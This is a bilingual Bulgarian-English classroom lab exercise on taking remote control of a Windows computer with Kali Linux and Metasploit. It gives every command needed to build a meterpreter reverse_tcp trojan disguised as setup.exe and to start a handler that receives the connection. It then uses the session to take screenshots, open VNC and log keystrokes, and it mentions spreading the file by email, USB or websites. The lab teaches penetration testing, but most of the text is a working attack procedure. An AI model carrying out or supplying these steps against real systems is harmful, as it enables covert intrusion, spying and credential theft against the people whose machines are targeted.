Придобиване на отдалечен контрол над Windows ОС чрез Kali Linux, Metasploit и reverse_tcp с изпълним файл / Gaining remote access with an executable file to a Windows OS using Kali Linux, Metasploit and reverse_tcp
1. Въведение
- В рамките на това практическо упражнение студентите ще се запознаят с процеса по придобиване на отдалечен контрол над Windows ОС. За целта ще се използва Kali Linux, платформата Metasploit и reverse_tcp с изпълним файл.
2. Цел на упражнението
- Генериране на изпълним файл за предоставяне на отдалечен достъп до ОС Windows.
- Осъществяване на атака за придобиване на отдалечен контрол над ОС Windows.
3. Изисквания за изпълнение на упражнението
- Kali Linux (стартирана посредством Live DVD, Live USB, предварително инсталирана на компютър или на виртуална машина).
- Клиентски компютър (жертва на атаката) с ОС Windows.
4. Генериране на изпълним файл за осъществяване на атака за придобиване на достъп над ОС Windows
- Стъпка 1: За осъществяване на атаката е необходимо предварителното генериране на изпълним файл, който ще изиграе ролята на троянски кон и ще позволи поемането на контрола над ОС Windows, която се използва на клиентски компютър. За целта е необходимо да се стартира платформата Metasploit, която ще се използва за генериране на изпълнимия файл. Стартирането на платформата става с изпълнението на командата msfconsole в команден терминал.
1. Introduction
- As part of this hands-on exercise, the students will learn about the process of gaining remote control of the Windows OS. Kali Linux, the Metasploit platform and reverse_tcp with an executable file will be used for this purpose.
2. Purpose of the exercise
- Generate an executable file to provide remote access to the remote Windows OS.
- Perform an attack to gain remote control of the remote Windows OS.
3. Requirements for the completion of the exercise
- The Kali Linux OS (launched via Live DVD, Live USB drive, pre-installed on a computer or a virtual machine).
- Client computer (target of the attack) with a Windows OS (Windows XP, Windows 7, Windows 8 and Windows 10).
4. Generation of the executable file, which will be used to gain access to the remote Windows OS
- Step 1:To carry out the attack, it is necessary to generate an executable file that will play the role of a Trojan horse and allow you to take control of the Windows OS, which is used on the client (target) computer. To do this, you need to start the Metasploit platform, which will be used to generate the executable file. The platform can be started with the msfconsole command in a command terminal.

- Стъпка 2:След зареждането за Metasploit платформата, на ваше разположение ще бъдат голям набор от пособия за тестване на сигурността и осъществяване на атаки. В рамките на това упражнение ще използваме reverse_tcp, за отваряне на порт в атакуваната машина, чрез който да се осъществява отдалечения контрол над нея. За целта изпълнете командата use windows.meterpreter/reverse_tcp в командния терминал на платформата (дефиниран с msf>) .
- Step 2:Once the Metasploit platform has started, you will have at your disposal a wide range of tools for security testing and performing attacks. In this exercise we will use reverse_tcp to open a port in the attacked machine, which we will use to remotely control it. To do this, run the command use windows/meterpreter/reverse_tcp in the command terminal of the platform (denoted by msf>).

- Стъпка 3:Изпълнението на предходната команда ще промени режима на терминала на msf payload(reverse_tcp) >. В този режим трябва да се укажат типа на обратната връзка (т.е. в нашия случай е отваряне на TCP връзка), IP адреса и порта на машината, от която ще се осъществява отдалечения контрол. Това става с командата set и атрибутите PAYLOAD, LHOST и LPORT. Въведете първо командата set PAYLOAD windows/meterpreter/reverse_tcp.
- Step 3:Executing the previous command will change the terminal mode to msf payload (reverse_tcp)>. In this mode it is necessary to specify the type of the feedback (in our case it is opening a TCP connection), the IP address and the port of the machine, which will be used for the remote control. This is done with the set command and the PAYLOAD, LHOST and LPORT attributes. First enter the command set PAYLOAD windows/meterpreter/reverse_tcp.

- Стъпка 4:Въведете командата show options. Тя ще ви информира, кой порт можете да използвате за LPORT атрибута. В този случай това е порт 4444.
- Step 4:Enter the show options command. It will inform you about the port, which you can use for the LPORT attribute. In this case it is port 4444.

- Стъпка 5:Стартирайте нов команден терминал и изпълнете командата ifconfig. Резултата от нейното изпълнение ще е извеждането на настройките за всички мрежови интерфейси. Целта на тази команда е да се открие IP адреса на компютъра, от който се изпълнява Kali Linux и който ще се използва за осъществяването на отдалечен контрол над Windows ОС. В този случай IP адреса е 192.168.126.132.
- Step 5:Start a new command terminal and run the ifconfig command. The command will output information about the settings for all network interfaces. The purpose of this command is to find the IP address of the computer, on which the Kali Linux OS is running and which will be used to remotely control the Windows OS. In this case the IP address is 192.168.126.132.

- Стъпка 6:Върнете се към предишния команден терминал и изпълнете командите:
set LHOST 192.168.126.132
set LPORT 4444
- Step 6:Return to the previous command terminal and execute the commands:
set LHOST 192.168.126.132
set LPORT 4444

- Стъпка 7:Генерирайте изпълнимия файл, с който ще бъде осъществена атаката и ще бъде отнет контрола над ОС. Това става с командата generate –t exe –f [име на файл].exe. В този пример се използва файл setup.exe, но реално можете да кръстите файла както си поискате.
- Step 7:Generate the executable file that will be used to attack and take away control of the remote OS. This is done with the generate -t exe -f [filename].exe command. This example uses the setup.exe file, but you can actually name the file as you wish.

- Стъпка 8:Изпълнението на последната команда ще доведе до създаване на нов файл – setup.exe. Можете да го намерите в папка home за root потребителя на Kali.
- Step 8:Executing the last command will create a new file – setup.exe. You can find it in the home folder for the root user of the Kali Linux OS.

- Стъпка 9: Копирайте този файл и го поставете на работния плот на компютъра с Windows ОС, който ще се атакува. Реалното разпространение на този файл може да стане по електронната поща, с USB стик, чрез FTP сървър или чрез свалянето му от произволна интернет страница. Не стартирайте все още копирания файл.
Стъпка 10: В командния терминал на Kali Linux, изпълнете командата back, за да се върнете до основния терминален режим на платформата Metasploit. Изпълнете командата use exploit/multi/handler, за да стартирате процес по подслушване за наличие на активност към порт 4444. За целта ще трябва да се повторят всички set командите от предходните стъпки. Стартирайте процеса по подслушване с командата exploit.
- Step 9: Copy this file and paste it on the desktop of the Windows computer that will be attacked. The actual distribution of this file can be done by e-mail, USB drive, via FTP server or by downloading it from any website. Do not run the copied file yet.
Step 10: In the Kali Linux command terminal, run the back command to return to the main terminal mode of the Metasploit platform. Run the use exploit/multi/handler command to start the eavesdropping process for any activity on port 4444. To do this, you will need to repeat all of the set commands from the previous steps. Start the eavesdropping process with the exploit command.

- Стъпка 11:Изпълнението на предходната стъпка ще доведе до стартирането на процес, с който ще се чака активна комуникация към порт 4444. Не оставяйте процеса да чака твърде дълго – стартирайте setup.exe от работния плот на Windows системата. В момента на стартиране на .exe файла компютъра е обречен. Както можете да видите от следващата фигура, сесията за отдалечен достъп е осъществена и Kali Linux системата има контрол над Windows компютъра.
- Step 11:Performing the previous step will start a process that will wait for active communication to port 4444. Do not leave the process to wait for too long – start the setup.exe from the Windows desktop. The very moment you run the .exe file, the computer is doomed. As you can see from the following figure, the remote access session has taken place and the Kali Linux system has control over the Windows computer.

- Стъпка 12:За да разберете какъв контрол имате над Windows-ката система изпълнете командата help в терминалния екран.
Стъпка 13: Изпълнете командата screenshot. С нея ще създадете изображения от текущия екран на Windows ОС.
- Step 12:To find out what control you have over the Windows system, run the help command in a terminal screen.
Step 13: Execute the screenshot command. It will create an image from the current Windows OS screen.

- Стъпка 14: Изпълнете командата pwd. Какъв е резултата? Пробвайте командата ls. Какво ви се изведе като информация? Изпълнете командата mkdir Hacked_by_Me. Случи ли се нещо на работния плот на Winsdows ОС? Въведете командата sysinfo. Какъв е резултата от нейното изпълнение? Изпълнете командата run vnc и изчакайте малко. Какво се случи?
Стъпка 15: Изпълнете командата keyscan_start. Създайте нов текстов документ в компютъра с Windows ОС и напишете нещо в него. Стартирайте Интернет браузър и отворете страница по избор. Върнете се към Kali Linux ОС и изпълнете командата keyscan_dump. Каква информация ви се изведе?
Вие успешно завършихте настоящото упражнение и придобихте достъп до отдалечена Windows ОС!
- Step 14: Run the pwd command. What is the result? Try the ls command. What did you see as output from the command? Run the mkdir Hacked_by_Me command. Did something happen on the Winsdows OS desktop? Execute the sysinfo command. What is the result of the command? Run the run vnc command and wait a while. What was the result?
Step 15: Execute the keyscan_start command. Create a new text document on your Windows computer and write something in it. Launch an Internet browser and open a custom page. Return to the Kali Linux OS and run the keyscan_dump command. What information did you get?
!!CONGRATULATIONS!!
You have successfully completed this exercise and you have gained access to a remote Windows OS!